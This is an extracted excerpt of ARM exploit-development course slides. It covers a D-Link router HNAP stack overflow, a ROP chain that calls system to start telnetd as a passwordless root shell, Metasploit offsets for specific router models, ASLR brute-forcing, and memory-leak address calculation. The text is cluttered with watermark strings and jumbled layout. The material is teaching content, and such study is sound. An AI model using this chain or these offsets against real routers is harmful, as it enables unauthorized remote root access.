sprintf(end_tag,"</%s>",tag_name);
start_tag_len = strlen(start_tag);
start_tag_len_plus_1 = start_tag_len + 1; <Captcha>AAAAAAAAAAAAAAAAAAAAAA...
offset = strstr(input,start_tag);
if (offset != (char *)0x0) {
tag_data_offset = offset + start_tag_len;
3 tag_data_offset
offset = strstr(tag_data_offset,end_tag);

micede1865@wii999_com
if ((offset != (char *)0x0) &&
(tag_data_len = offset + -(int)tag_data_offset, -1 < (int)tag_data_len)) {
/* vulnerable strncpy */
strncpy(buffer, tag_data_offset, tag_data_len); overflow 4
buffer[(int)tag_data_len] = '\0';
offset = strcpy(dest,buffer);
}
}
return offset;
}

24356915 SEC661 | ARM Exploit Development 80

The vulnerable function is at address 0x18e2c in the cgibin binary. The output in the slide is from Ghidra’s
decompiler with the function name labeled parseSoapParameter_00018e2c. A tag_name is passed to the
function, in this case, we will consider it to be “Captcha” as an example. The input of the SOAP request is also

Paul Erwin
passed into the function and is called input. This function searches for the tag_name (“Captcha”) and
parses out the string that is inside the tags. It does this by calculating the tag, including the <> characters in the
length, then checking if the character value after the tag is anything other than a null.

As you can see at the beginning of the function, the char array can only hold 1024 bytes. If we provide a
parameter (in this case, Captcha) that is greater than 1024 bytes, we can overflow the buffer. The strncpy
specifies a max value as the third parameter. However, the implementation is not great, because the max value
is set to the length of the input. It would be more effective to use the length of the destination buffer here. The

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
memory corruption will overflow the stack frame, overwrite the saved link register and give us control of PC
when the function returns.

Note: The function and variable names may vary if you are looking at this in Ghidra and they may not even be
labeled at all.

1. The function prototype (or signature) shows the parameters being passed in. The input parameter points to
data we have sent in our http request (including the tags). The tag_name parameter is the name of the
tag to parse in this function (i.e., “Captcha”)
2.

3.
1024 bytes.
live
The buffer char array serves as a temporary place holder when parsing the input data and can only hold

The tag_data_offset variable will point to the first “A” in this example and is used as the source in
the vulnerable strncpy.
4. This implementation of the strncpy is problematic and allows for an overflow of the buffer char array.
The max length is the length of the tag_data_len and not the size of the buffer char array.

80 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink ROP Chain (1)

09b91222e5d2d3d668cf8e52ec5d35ba
R0 = ?
Registers vulnerable
function’s
stack frame
R3 = ?
PC = ? saved lr

micede1865@wii999_com gadget1 ldmfd sp!, {r3,pc}

mov r0, sp
gadget2 blx r3

Goal = system(“/usr/sbin/telnetd&”) stack

24356915 SEC661 | ARM Exploit Development 81

ROP Goal:
The goal of our exploit is to call the system function and execute “/usr/sbin/telnetd&”. The system
function call will execute a shell command. Executing the telnetd command will start the daemon listening

Paul Erwin
on port 23. If we can turn on telnet this way, without providing any parameters, by default it will provide root
access and not require a username or password. Essentially, we are enabling a remote root shell.

Information Layout:
Let’s walk through this 2-gadget ROP chain and break down how this exploit works. The illustration in the
slide shows:
- The stack, the vulnerable function’s stack frame and the saved lr that we want to overwrite
- The instructions for the 2 ROP gadgets that we want to execute

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
- Registers r0, r3, and PC that we are interested in tracking

live

© 2021 Hungry Hackers, LLC 81


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink ROP Chain (2)

AAAA

09b91222e5d2d3d668cf8e52ec5d35ba
R0 = ?
Registers AAAA
AAAA
AAAA
overflow
occurs

R3 = ? AAAA
PC = ? gadget1_address
system_address
gadget2_address
rsu/ /usr/sbin/telnetd&
ibs/

micede1865@wii999_com gadget1 ldmfd sp!, {r3,pc}


et/n
tenl
&d

mov r0, sp
gadget2 blx r3

Goal = system(“/usr/sbin/telnetd&”) stack

24356915 SEC661 | ARM Exploit Development 82

This is our payload on the stack once the memory corruption occurs. This is the result of the strncpy
overwriting the end of the stack frame (and beyond) with our input. At the very end we see the
/usr/sbin/telnetd& string, but it is shown in little endian on the stack.

Paul Erwin
At this point we don’t know what registers r0, r3, or pc hold.
The function has not returned yet, but we have overwritten the saved lr with the address of gadget1.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

82 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink ROP Chain – LDMFD Instruction

AAAA

09b91222e5d2d3d668cf8e52ec5d35ba
ldmfd = load

This
R0 ARM
multiple registers full descending
Registers
= ? instruction will load values starting from
AAAA
AAAA
AAAA
theR3first
= ?operand (sp) into the registers in the second AAAA
PC = ? function return SP gadget1_address
operand {r3, pc}.
system_address
gadget2_address
The ! indicates that the sp register will be updated.
rsu/
ibs/

micede1865@wii999_com gadget1 ldmfd sp!, {r3,pc}


et/n
tenl
&d

mov r0, sp
gadget2 blx r3

Goal = system(“/usr/sbin/telnetd&”) stack

24356915 SEC661 | ARM Exploit Development 83

When the vulnerable function tries to return, the address of gadget 1 gets popped into PC and we redirect
execution here. The LDMFD instruction (load multiple full descending) will start at the address provided by
the first operand (sp, in this example) and pop data into the registers provided in the second operand (r3 and

Paul Erwin
pc). So, when we jump to gadget1, we can populate r3 and pc.

FD = Full Descending, the stack grows down


! = This suffix indicates that the register (SP in this example) gets updated after the transfer. In this example,
the SP register will be incremented by 8 bytes (4 for r3 and 4 for pc).

Reference:
LDMFD instruction details:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://developer.arm.com/documentation/dui0068/b/Writing-ARM-and-Thumb-Assembly-Language/Load-
and-store-multiple-register-instructions/Implementing-stacks-with-LDM-and-STM
https://developer.arm.com/documentation/dui0068/b/Writing-ARM-and-Thumb-Assembly-Language/Load-
and-store-multiple-register-instructions/ARM-LDM-and-STM-instructions

live

© 2021 Hungry Hackers, LLC 83


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink ROP Chain (3)

AAAA

09b91222e5d2d3d668cf8e52ec5d35ba
R0 = ?
Registers AAAA
AAAA
AAAA
R3 = ? AAAA
PC = gadget1 gadget1_address
SP system_address
gadget2_address
rsu/
ibs/

micede1865@wii999_com
Current
Instruction gadget1 ldmfd sp!, {r3,pc}
et/n
tenl
&d

mov r0, sp
gadget2 blx r3

Goal = system(“/usr/sbin/telnetd&”) stack

24356915 SEC661 | ARM Exploit Development 84

Gadget1 gets popped off the stack and into pc. The sp has shifts and now points to the system address that
is stored on the stack. Next, we execute the instruction at gadget1 which is ldmfd sp!, {r3, pc}.
This will pop the system address into r3 and then pop the address for gadget2 into pc. The ‘!’

Paul Erwin
indicates that the sp register is to be updated, moving it 8 bytes to the next gadget in our ROP chain.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

84 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink ROP Chain (4)

AAAA

09b91222e5d2d3d668cf8e52ec5d35ba
R0 = ?
Registers AAAA
AAAA
AAAA
R3 = system AAAA
PC = gadget2 gadget1_address
system_address
gadget2_address
SP rsu/ /usr/sbin/telnetd&
ibs/

micede1865@wii999_com gadget1 ldmfd sp!, {r3,pc}


et/n
tenl
&d

Current mov r0, sp


Instruction(s) gadget2 blx r3

Goal = system(“/usr/sbin/telnetd&”) stack

24356915 SEC661 | ARM Exploit Development 85

Gadget1 has been executed and we popped the address of system into r3. This is tracked in our register list.
The address of gadget2 was also popped off the stack and into pc. Now, the stack pointer points to the
“/usr/sbin/telnetd&” string stored on the stack. We need that to be the first parameter for the call to

Paul Erwin
the system function, so we need to get that into r0. That’s exactly what gadget2 does.

The first instruction in gadget2 moves the sp value into r0. Now, r0 also points to the string we want to
execute. This is required as the system command’s first parameter.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 85


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink ROP Chain (5)

AAAA

09b91222e5d2d3d668cf8e52ec5d35ba Registers
R0 = > /usr/sbin/telnetd&
AAAA
AAAA
AAAA
R3 = system AAAA
PC = gadget2 + 2 gadget1_address
system_address
gadget2_address
SP rsu/
ibs/

micede1865@wii999_com gadget1 ldmfd sp!, {r3,pc}


et/n
tenl
&d

Current mov r0, sp


Instruction(s) gadget2 blx r3

Goal = system(“/usr/sbin/telnetd&”) stack

24356915 SEC661 | ARM Exploit Development 86

Now, we have r0 populated and it points to (>) our string which is located on the stack. Gadget1
populated the r3 register with the address of system. The next instruction (blx r3) will branch to system
and execute our command to start the telnet daemon.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

86 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Dlink ROP Chain (6)

AAAA

09b91222e5d2d3d668cf8e52ec5d35ba Registers
R0 = > /usr/sbin/telnetd&
AAAA
AAAA
AAAA
R3 = system AAAA
PC = system gadget1_address
system_address
gadget2_address
SP rsu/
ibs/

micede1865@wii999_com gadget1 ldmfd sp!, {r3,pc}


et/n
tenl
&d

mov r0, sp
gadget2 blx r3

Current
Instruction Goal = system(“/usr/sbin/telnetd&”) stack

24356915 SEC661 | ARM Exploit Development 87

Blx r3 does a branch link exchange to the r3 address which is system. This will accomplish our goal of
running system(“/usr/sbin/telnetd&”) and providing us with root-level remote access with no password
required.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 87


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Launching the Dlink Exploit

09b91222e5d2d3d668cf8e52ec5d35ba
Attacker http
httpd forward input
hnap
process id: 652 process id: x
httpd starts a
attacker sends child process exploit crashes
exploit to web called “hnap” the hnap process
server over http
due to wrong

X
(exploit.py)

micede1865@wii999_com offsets

hnap
process id: x

Emulated dlink router

24356915 SEC661 | ARM Exploit Development 88

Because of ASLR, we don’t know the offsets needed for gadget1, gadget2, and system. The offsets
we need are all based off libc and are relative to one another. But to calculate them, we need the know the
base address of libc. This is what gets shifted and changed due to ASLR.

Paul Erwin
The process ids given in these slides will vary on a running system.

Due to how the httpd daemon handles these types of requests, we can brute force ASLR. The hnap
request is actually handled by a child process that gets started by the httpd daemon. If we provide the
wrong offsets in our exploit, we will not successfully execute our ROP payload, and we will crash the process.
But we will not crash httpd. We will crash the child process that it starts up.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

88 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Launching the Dlink Exploit – httpd remains stable

09b91222e5d2d3d668cf8e52ec5d35ba
Attacker
httpd
process id: 652

attacker can send


additional exploit httpd service
attempts without remains stable and
losing access to access to the web

micede1865@wii999_com
the httpd service
(brute force)
interface remains
up

Emulated dlink router

24356915 SEC661 | ARM Exploit Development 89

Even though we crashed the child process, the httpd daemon is still up and running. It is waiting for new
requests to come in. This is important, because if we crashed the httpd daemon on a failed exploit attempt,
we couldn’t try multiple times. We could no longer reach the web service, because it wouldn’t be listening

Paul Erwin
over the network. It starts a child process and that is what we are crashing, so the httpd process remains
stable, we don’t lose access, and can try additional exploit attempts.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 89


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Launching the Dlink Exploit - Brute force ASLR

09b91222e5d2d3d668cf8e52ec5d35ba
Attacker http
http
httpd forward input
forward input
hnap
hnap
http process id: 652 forward input process id: x
hnap
forward input processhnap
id: x
process id: x
hnap
process id: x
hnap
automate multiple process hnap
id: x
process hnap
id: x
exploit attempts process id: x
hnap
process id: x
trying to get the process id: x

micede1865@wii999_com
right offsets for
gadget1, gadget2,
system

Emulated dlink router

24356915 SEC661 | ARM Exploit Development 90

The brute force attempt is done by sending a request with our ROP gadgets and system address based on an
assumed address of libc. We send it over and over in rapid succession until we guess right, and our payload
executes successfully. We do not risk crashing httpd and losing remote access to the service.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

90 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Debugging hnap – Attaching to httpd (1)

09b91222e5d2d3d668cf8e52ec5d35ba sudo gdb --pid 5529


httpd
... gdb
(gdb) process id: 5529

dogfish vm

micede1865@wii999_com
Emulated dlink router

24356915 SEC661 | ARM Exploit Development 91

Since the emulated Dlink router is running in a chroot environment on the dogfish vm, we can debug the
httpd process.

Paul Erwin
However, if we want to view the memory corruption in the vulnerable function, we need to debug the child
process that httpd starts up. We have been calling this the hnap process, because that is what it gets
named, but the binary itself is named /htdocs/cgibin.

To debug cgibin in gdb, we first need to attach to the httpd daemon. In this example it is using the
process id of 5529. Once we are debugging httpd, we need to let gdb know that we want to debug any child
processes that gets started up. We can do this with the follow-fork-mode command in gdb.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 91


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Debugging hnap – Attaching to httpd (2)

09b91222e5d2d3d668cf8e52ec5d35ba httpd
gdb
process id: 5529

dogfish vm

micede1865@wii999_com
(gdb) set follow-fork-mode child
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is "child".

Emulated dlink router

24356915 SEC661 | ARM Exploit Development 92

We can see gdb’s follow-fork-mode settings by using the help command while in gdb.

(gdb) help set follow-fork-mode

Paul Erwin
Set debugger response to a program call of fork or vfork.
A fork or vfork creates a new process. follow-fork-mode can be:
parent - the original process is debugged after a fork
child - the new process is debugged after a fork
The unfollowed process will continue to run.
By default, the debugger will follow the parent process.

We set the follow-fork-mode to child so that whenever httpd starts up the cgibin/hnap process

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
we will detach from httpd and debug the child process.

live

92 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Debugging hnap – Follow Fork

httpd starts a new


09b91222e5d2d3d668cf8e52ec5d35ba
child process
called “hnap” gdb
httpd
process id: 5529

dogfish vm

micede1865@wii999_com
[Attaching after process 5529 fork to child process 7170]
[New inferior 2 (process 7170)]
[Detaching after fork from parent process 5529] hnap
[Inferior 1 (process 5529) detached]
process 7170 is executing new program:
process id: 7170
/home/nemo/dlink_rootfs/htdocs/cgibin
...
[Switching to process 7170]
Emulated dlink router

24356915 SEC661 | ARM Exploit Development 93

Once the child process is started, gdb switches to “follow the fork” and starts debugging the hnap
process.

Paul Erwin
Note: There are some timing issues that are discussed in the lab, since we don’t want to detach early and
debug the wrong child process.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 93


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Example: Brute Forcing ASLR – Metasploit/Dlink (1)

09b91222e5d2d3d668cf8e52ec5d35ba
• Calculating the addresses of gadgets given a base address
[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
{
'Offset' => 1024,
'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000
# (an x of 0/1 works well)
'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so

micede1865@wii999_com
}
'FirstGadget'
'SecondGadget'
'Arch'
=> 0x18298,
=> 0x40CB8,
=> ARCH_ARMLE,
# see comments below for gadget information

],

24356915 SEC661 | ARM Exploit Development 94

In Metasploit’s dlink hnap buffer overflow exploit, the addresses of the gadgets and the system function
are pre calculated prior to throwing the exploit by adding their offsets to the base address of libc. These code
snippets show the base address of 0x400DA000 used (LibcBase) and the offsets for system and both of the
gadgets.
Paul Erwin
By adding the offsets to the base of libc, we get the addresses where these gadgets would be loaded in
process memory if the libc base address was 0x400da000. However, if the target system is using ASLR,
this address will be different every time the process is ran. So even though we have calculated the addresses
based on LibcBase, they will not be accurate if the LibcBase address used here does not match the base
address of libc in the running process.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We cover adding offsets to base addresses in the ROP and Memory Leak sections of this course.

Reference:
https://github.com/pedrib/PoC/blob/master/exploits/metasploit/dlink_hnap_login_bof.rb

live

94 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Example: Brute Forcing ASLR – Metasploit/Dlink (2)

09b91222e5d2d3d668cf8e52ec5d35ba
• Keep trying to send the payload in a while loop
• Listening service must remain available
shellcode = prepare_shellcode_arm(cmd)

print_status("#...- \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")


counter = 0.00

micede1865@wii999_com
while (not @elf_sent)
if counter % 50.00 == 0 && counter != 0.00
print_status("#{peer} - Tried ... times in ... seconds.")
end
send_payload(shellcode)
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
counter += 1
end
print_status(“... - The device downloaded the payload after ... tries / ... seconds.")

24356915 SEC661 | ARM Exploit Development 95

In order to get around ASLR, the Metasploit module will brute force the exploit by sending it over and over
until it gets a response indicating that the exploit worked. It uses the base address for libc from the
previous slide until there is an instance of the process that uses that base address. This is possible because the

Paul Erwin
httpd process that receives these exploit attempts will create a child process (hnap) and pass along the
input. The child process will crash every time the libc base address does not match. Because the httpd
process remains up and stable, this type of brute forcing is possible. If we lost access to the web interface the
first time we had a failed exploit attempt, we could not exploit the router the same way.

This is covered in more depth in the Dlink Exploit section of this course.

Reference:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://github.com/pedrib/PoC/blob/master/exploits/metasploit/dlink_hnap_login_bof.rb

live

© 2021 Hungry Hackers, LLC 95


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 10 | Dlink Exploit
Duration Time: 45 Minutes

09b91222e5d2d3d668cf8e52ec5d35ba
In November 2016, Pedro Ribeiro disclosed a remote buffer overflow in the hnap process on Dlink routers.
The overflow is due to the improper implementation of strncpy with no bounds checks on user-provided
input. An attacker can write past a local stack buffer and overwrite the saved lr, giving them control of
execution when the function returns.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Starting up an emulated router
• Launching a remote buffer overflow exploit
from the hammerhead vm
This lab will be done in the Dogfish virtual
machine.

• (Optional) observe a crash in the child process See the SANS SEC661 workbook for detailed lab
• (Optional) step through the memory instructions.
corruption in the child process and observe
how we gain control of execution via a Tools used: python, gdb
vulnerable implementation of strncpy

24356915 SEC661 | ARM Exploit Development 96

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

96 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Course Roadmap SEC661.2

1. Firmware

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit

micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM

24356915 SEC661 | ARM Exploit Development 97

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 97


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.2 Exploiting IoT Devices

Memory Leaks
09b91222e5d2d3d668cf8e52ec5d35ba
Bypassing ASLR is a tough challenge, but memory leaks help make this a possibility. If
we can disclose enough information about the runtime memory layout, we can build a
successful exploit. Some math is involved here, but if we can find a good point of
micede1865@wii999_com
reference, we can calculate the addresses required in order to execute our payload
without crashing the target process. Typically, memory leaks require a separate exploit
or some other type of information disclosure.

24356915 SEC661 | ARM Exploit Development 98

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

98 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leaks - Overview

libc

09b91222e5d2d3d668cf8e52ec5d35ba
• With ASLR enabled, we do
not know the runtime
addresses of the items we
need for the exploit ???? system

micede1865@wii999_com
???? gadget1

???? “/bin/sh”

24356915 SEC661 | ARM Exploit Development 99

With ASLR enabled, we don’t know the addresses to use in our exploit because the base address of the target
segments start at different locations every time the process starts up. If we can leak a memory address that we
can use to calculate the addresses of the artifacts we need, it may be possible to bypass ASLR. However, when

Paul Erwin
we leak the address, it is important that we do not crash or restart the process. If we do, new addresses will be
used when the process starts back up, due to ASLR being enabled.

We will be using libc-2.31.so as our example target.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 99


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Effects of ASLR

• Base addresses are libc

09b91222e5d2d3d668cf8e52ec5d35ba
different whenever the
????

process is restarted
nemo@mako:~$ cat /proc/sys/kernel/randomize_va_space
2

micede1865@wii999_com
nemo@mako:~$ cat /proc/709/maps | grep libc | grep r-xp
b6e28000-b6f11000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

nemo@mako:~$ cat /proc/740/maps | grep libc | grep r-xp


b6e1b000-b6f04000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

nemo@mako:~$ cat /proc/746/maps | grep libc | grep r-xp


b6e0d000-b6ef6000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

24356915 SEC661 | ARM Exploit Development 100

The cat example will show the status of ASLR on the system, it is a kernel setting that can be read from
/proc/sys/kernel/randomize_va_space
0 = ASLR disabled

Paul Erwin
1 = Randomize code (also includes vdso and stack)
2 = Randomize code and data

This output shows multiple runs of the same program (leak), it gets process ids 709, 740, and 746. For each
iteration, we see that the base address for the code segment of libc is different. This is due to ASLR. The
base address changes, but all of the offsets within segment are the same.

nemo@mako:~$ cat /proc/sys/kernel/randomize_va_space

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
2

nemo@mako:~$ ps aux | grep leak


nemo 709 0.0 0.0 1420 380 pts/0 S+ 07:28 0:00 ./leak
nemo 738 0.0 0.0 6764 520 pts/1 S+ 07:30 0:00 grep --color=auto leak

nemo@mako:~$ cat /proc/709/maps | grep libc


b6e28000-b6f11000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f11000-b6f20000 ---p 000e9000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
live
b6f20000-b6f22000 r--p 000e8000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f22000-b6f24000 rw-p 000ea000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

nemo@mako:~$ cat /proc/709/maps | grep libc | grep r-xp


b6e28000-b6f11000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

100 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~$ ps aux | grep leak
nemo 740 0.3 0.0 1420 368 pts/0 S+ 07:31 0:00 ./leak
nemo 742 0.0 0.0 6764 500 pts/1 S+ 07:31 0:00 grep --color=auto leak

nemo@mako:~$ cat /proc/740/maps | grep libc | grep r-xp

09b91222e5d2d3d668cf8e52ec5d35ba
b6e1b000-b6f04000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

nemo@mako:~$ ps aux | grep leak


nemo 746 0.1 0.0 1420 348 pts/0 S+ 07:32 0:00 ./leak
nemo 748 0.0 0.0 6764 544 pts/1 S+ 07:32 0:00 grep --color=auto leak

nemo@mako:~$ cat /proc/746/maps | grep libc | grep r-xp


b6e0d000-b6ef6000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

micede1865@wii999_com
Reference:
https://linux-audit.com/linux-aslr-and-kernelrandomize_va_space-setting/

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 101


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Leveraging a Memory Leak

• Requires an information libc

09b91222e5d2d3d668cf8e52ec5d35ba
disclosure usually in the
form of a separate exploit
• If the target program
crashes or restarts, the
addresses change
micede1865@wii999_com 0xb6e99310 memmove
As an example, if we can leak the address
of memmove, how could we leverage this
to bypass ASLR?

24356915 SEC661 | ARM Exploit Development 102

In this example, we stage a memory leak of memmove in order to use this as an example to show how we can
leverage a memory leak.

Paul Erwin
To leak an address, you would need to find some type of information disclosure, which might be finding and
successfully running a separate exploit that does not crash the target process.

Since ASLR will use new base addresses when a program restarts, we will have to leverage the leak without
crashing or restarting the target process.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

102 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leak – Finding Offsets

• Given a target binary, libc

09b91222e5d2d3d668cf8e52ec5d35ba
static analysis tools can be
used to determine offsets
• Offsets will stay the same
in relation to the base
address of the loaded
micede1865@wii999_com
memory segment 0xb6e99310 memmove +0x5f310

nemo@mako:~/labs/leak$ readelf -s libc-2.31.so | grep " memmove"


2090: 0005f310 832 FUNC GLOBAL DEFAULT 14 memmove@@GLIBC_2.4

24356915 SEC661 | ARM Exploit Development 103

Using static analysis tools, we need to find the offset of memmove in the libc shared object. We need to use
the same version of the binary (i.e., libc-2.31.so) as the target. A copy of this file is available in the
~/labs/leak folder. If the binary on the target changes, then we need to update the offsets we find in our
static analysis.
Paul Erwin
The following tools could be used to do this:
objdump, IDA, Ghidra, radare2, readelf

We can pull target binaries off the device or even out of a firmware update when available.

In this example on the slide, we use readelf to find the offset of memmove.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 103


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leak – Finding Offsets with Radare2

• Using radare2 to find offset libc

09b91222e5d2d3d668cf8e52ec5d35ba
for memmove
• aaa = analyze and autoname functions
• is = list symbols
nemo@hammerhead:~/labs/leak$ r2 libc-2.31.so
...

micede1865@wii999_com
[0x0001aad8]> aaa
...
[0x0001aad8]> is | grep memmove
1175 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove4 0xb6e99310 memmove +0x5f310
1185 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove8
1208 0x000aa1bc GLOBAL FUNC 14 __memmove_chk
2016 0x000aacac GLOBAL FUNC 16 __wmemmove_chk
2090 0x0005f310 GLOBAL FUNC 832 memmove
2153 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove
2299 0x0006504c WEAK FUNC 6 wmemmove

24356915 SEC661 | ARM Exploit Development 104

Below is an example of how to do it using radare2. We see the offset for the memmove function at +0x5f310
into the libc code segment and we also have the actual address of memmove from the running process
0xb6e99310.

-
-
Paul Erwin
r2 <filename> - open the file
aaa – auto analyze with autonaming
- is – info symbols

nemo@hammerhead:~/labs/leak$ r2 libc-2.31.so
...
[0x0001aad8]> aaa

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
[0x0001aad8]> is | grep memmove
1175 0x0001ac48 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove4
1185 0x0001ac48 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove8
1208 0x000aa1bc 0x000aa1bc GLOBAL FUNC 14 __memmove_chk
2016 0x000aacac 0x000aacac GLOBAL FUNC 16 __wmemmove_chk
2090 0x0005f310 0x0005f310 GLOBAL FUNC 832 memmove
2153 0x0001ac48 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove
2299 0x0006504c 0x0006504c WEAK FUNC 6 live
wmemmove

104 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leak (1)

• Given the runtime address libc

09b91222e5d2d3d668cf8e52ec5d35ba
of memmove and since we
+0

know how far away it is


from the base of libc, we
can calculate the runtime
base address of libc.
micede1865@wii999_com 0xb6e99310 memmove +0x5f310

24356915 SEC661 | ARM Exploit Development 105

With the runtime address of memmove and its offset from the base of libc, we can do some math to get the
runtime address of the base of libc.

Paul Erwin
memmove runtime address – memmove offset = libc runtime address

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 105


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leak (2)

• By subtracting the offset libc

09b91222e5d2d3d668cf8e52ec5d35ba
of memmove from its
0xb6e3a000 +0

runtime address, we get


the base address of libc

nemo@hammerhead:~$ python

micede1865@wii999_com
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or
"license" for more information. 0xb6e99310 memmove +0x5f310
>>> hex(0xb6e99310 - 0x5f310)
'0xb6e3a000'

24356915 SEC661 | ARM Exploit Development 106

Python can be used to do some quick hexadecimal math.

The base of libc was previously an unknown due to ASLR. But with the runtime address of memmove and

Paul Erwin
